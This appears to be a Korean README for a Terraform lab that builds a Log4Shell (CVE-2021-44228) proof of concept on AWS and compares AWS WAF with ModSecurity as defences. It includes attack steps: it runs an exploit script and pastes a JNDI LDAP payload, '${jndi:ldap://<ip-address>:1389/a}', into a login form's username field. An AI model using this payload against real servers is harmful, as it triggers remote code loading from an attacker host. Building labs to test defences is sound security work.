
이 프로젝트 파일은 Terraform 코드형 인프라(IaC) 방식을 사용하여 AWS에서 log4j 취약점(CVE-2021-44228)의 개념 증명(PoC)을 시연합니다.
이 프로젝트 파일들은 Terraform Infrastructure-as-a-code 수단을 사용하여 AWS에서 log4j 취약점(CVE-2021-44228)의 개념 증명을 보여줍니다.
이 프로젝트에는 2개의 데모가 있습니다:
결론: 첫 번째 데모는 AWS WAF를 사용한 성공적인 공격을 보여줍니다. 두 번째 데모는 ModSecurity가 적용된 상태에서 실패한 시도였습니다. ModSecurity를 제거하면 공격은 성공할 것입니다. ModSecurity가 활발한 프로젝트이기 때문에 취약한 문자열이 식별되어 필터링되었을 수 있습니다.
이 poc는 다음에서 가져왔습니다: https://github.com/kozmer/log4j-shell-poc
이 medium 블로그는 그녀의 시도 과정을 설명합니다: https://chennylmf.medium.com/apache-log4j-shell-poc-exploits-5953c42fa873
개인적으로 Windows + Powershell을 사용하여 테스트했으며, 클라우드 머신은 Ubuntu 18 LTS입니다. (kali 또는 다른 linux로 공격)
웹에서 생성하세요 ('tf-aws' 이름으로): https://console.aws.amazon.com/ec2/v2/home?#KeyPairs
https://us-east-1.console.aws.amazon.com/iamv2/home#/users > 사용자 선택 > 보안 자격 증명(security_credentials) 섹션 선택
Powershell:
$env:AWS_ACCESS_KEY_ID="<user access key input>"
$env:AWS_SECRET_ACCESS_KEY="<secret key input>"
$env:AWS_DEFAULT_REGION="<region>"
Linux:
export AWS_ACCESS_KEY_ID="<user access key input>"
export AWS_SECRET_ACCESS_KEY="<secret key input>
export AWS_DEFAULT_REGION="<region>"
cd single-instance
terraform init
terraform apply
실행 후 IP/DNS가 표시됩니다.
single-instance의 경우 http:<aws host url>:8080에 접근할 수 있는지 확인하세요
double-instance의 경우 http:<aws host url>에 접근할 수 있는지 확인하세요
* 'double-instance'를 시작하는 데 훨씬 더 많은 시간이 걸립니다. 시스템에 ssh로 접속한 후 journalctl -f를 사용하여 진행 상황을 추적할 수 있습니다.
저널을 확인하는 경우, "Reached target Cloud-init target."이 준비 완료 상태를 의미합니다.

실행 권한 설정
chmod +x ../exploit-script-remote.sh
제공된 변수로 스크립트 실행
../exploit-script-remote.sh
스크립트 끝에 ${jndi:ldap://<ip-address>:1389/a}와 유사한 페이로드가 표시됩니다.
http:<aws host url>:8080에 접속하세요
'username' 필드에 페이로드를 복사한 후 양식을 제출하세요

JDK 파일: 바이두 소스에서 가져온 파일의 무결성이 Oracle의 해시와 동일한지 확인했습니다.
SHA256 187EDA2235F812DDB35C352B5F9AA6C5B184D611C2C9D0393AFB8031D8198974
인스턴스: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/instance
스팟 인스턴스: https://www.tderflinger.com/en/ec2-spot-with-terraform
SSH: https://jhooq.com/terraform-ssh-into-aws-ec2/ https://docs.aws.amazon.com/cli/latest/userguide/cli-services-ec2-keypairs.html
[ssh key on the fly] https://stackoverflow.com/questions/49743220/how-do-i-create-an-ssh-key-in-terraform
WAF: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/waf_rule https://medium.com/kudos-engineering/terraforming-amazons-web-application-firewall-e5c22b7d317d https://www.linode.com/docs/guides/securing-nginx-with-modsecurity/
템플릿: https://spacelift.io/blog/terraform-templates